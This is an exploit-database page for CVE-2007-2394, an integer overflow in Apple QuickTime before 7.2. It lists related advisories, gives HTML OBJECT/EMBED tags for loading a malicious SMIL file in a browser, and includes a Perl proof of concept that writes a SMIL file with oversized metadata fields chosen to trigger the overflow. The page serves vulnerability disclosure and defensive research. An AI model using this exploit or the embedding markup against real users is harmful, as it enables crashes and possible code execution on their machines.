Apple QuickTime < 7.2 - SMIL Remote Integer Overflow

🗓️ 03 Sep 2007 00:00:00Reported by David VaartjesType

Apple QuickTime SMIL Remote Integer Overflow via OBJECT and EMBED tags. POC Perl script triggers integer overflow in Windows 2000 SP4

Reporter	Title	Published	Views	Family All 18
0day.today	Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC	3 Sep 200700:00	–	zdt
Tenable Nessus	QuickTime < 7.2 Multiple Vulnerabilities	12 Jul 200700:00	–	nessus
Tenable Nessus	QuickTime < 7.2 Multiple Vulnerabilities (Mac OS X)	12 Jul 200700:00	–	nessus
Check Point Advisories	Apple QuickTime SMIL File Handling Integer Overflow (CVE-2007-2394)	16 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2007-2394	15 Jul 200721:00	–	cve
Cvelist	CVE-2007-2394	15 Jul 200721:00	–	cvelist
Exploit DB	Apple QuickTime 7.1.5 - Information Disclosure / Multiple Code Execution Vulnerabilities	11 Jul 200700:00	–	exploitdb
exploitpack	Apple QuickTime 7.2 - SMIL Remote Integer Overflow	3 Sep 200700:00	–	exploitpack
exploitpack	Apple QuickTime 7.1.5 - Information Disclosure Multiple Code Execution Vulnerabilities	11 Jul 200700:00	–	exploitpack
NVD	CVE-2007-2394	15 Jul 200721:30	–	nvd

----------------------------------------------------------------------
ATTACK VECTORS
----------------------------------------------------------------------

This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:

<OBJECT
  CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
  CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
  WIDTH="10" HEIGHT="10" >
  <!-- malicious SMIL file -->
  <PARAM NAME="src" VALUE="poc.smil" />
  <EMBED
    <!-- available .qtif or .mov file to start up QT for FF -->
    SRC="available-sample.qtif"
    <!-- malicious SMIL file -->
    QTSRC="poc.smil"
    WIDTH="10" HEIGHT="10"
    PLUGINSPAGE=" www.apple.com/quicktime/download"
    TYPE="video/quicktime"
  />
</OBJECT>

----------------------------------------------------------------------
PROOF OF CONCEPT
----------------------------------------------------------------------

#!/usr/bin/perl -w

####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####

$file = " poc.smil";
$padd = "x";
$cop_len = 36;

####
# By choosing the following lengths the
# integer overflow will be triggered.
####

$tit_len = 223;
$auth_len = 65280;

open(FH,">$file") or die "Can't open file:$!";

print FH
 "<smil>\n".
 "<head>\n".
 " <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
 " <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
 " <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
 "</head>\n".
 "</smil>";

close(FH);

# milw0rm.com [2007-09-03]

03 Sep 2007 00:00Current

6.4Medium risk

Vulners AI Score6.4

CVSS 29.3

EPSS0.43326

Apple QuickTime &lt; 7.2 - SMIL Remote Integer Overflow

Apple QuickTime < 7.2 - SMIL Remote Integer Overflow